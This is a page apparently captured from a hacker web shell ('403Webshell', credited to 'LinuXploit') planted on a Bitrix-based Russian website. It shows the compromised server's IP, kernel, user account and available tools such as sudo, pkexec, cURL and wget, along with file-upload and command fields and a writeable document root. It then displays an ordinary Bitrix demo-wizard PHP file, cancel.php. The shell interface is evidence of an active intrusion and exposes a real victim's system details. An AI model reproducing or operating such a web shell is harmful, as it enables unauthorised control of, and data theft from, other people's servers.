403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/wizards/bitrix/demo/scripts/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/wizards/bitrix/demo/scripts/cancel.php
<?
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die();

class CancelStep extends CWizardStep
{
	function InitStep()
	{
		$this->SetStepID("cancel_step");
		$this->SetCancelStep("cancel_step");
		$this->SetTitle(GetMessage("DEMO_CANCEL_STEP_TITLE"));

		if ($_SERVER["PHP_SELF"] == "/index.php")
			$this->SetCancelCaption(GetMessage("DEMO_CANCEL_STEP_BUTTON_INDEX"));
		else
			$this->SetCancelCaption(GetMessage("DEMO_CANCEL_STEP_BUTTON_ADMIN"));
	}

	function OnPostForm()
	{
	}

	function ShowStep()
	{
		$wizard =& $this->GetWizard();
		if ($_SERVER["PHP_SELF"] == "/index.php")
		{
			$this->content .= GetMessage("DEMO_CANCEL_STEP_CONTENT_INDEX");

			CopyDirFiles(
				$_SERVER["DOCUMENT_ROOT"].$wizard->GetPath()."/indexes/".LANGUAGE_ID."/cancel",
				$_SERVER["DOCUMENT_ROOT"],
				$rewrite = true, 
				$recursive = true
			);
		}
		else
		{
			$this->content .= GetMessage("DEMO_CANCEL_STEP_CONTENT_ADMIN");
		}
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit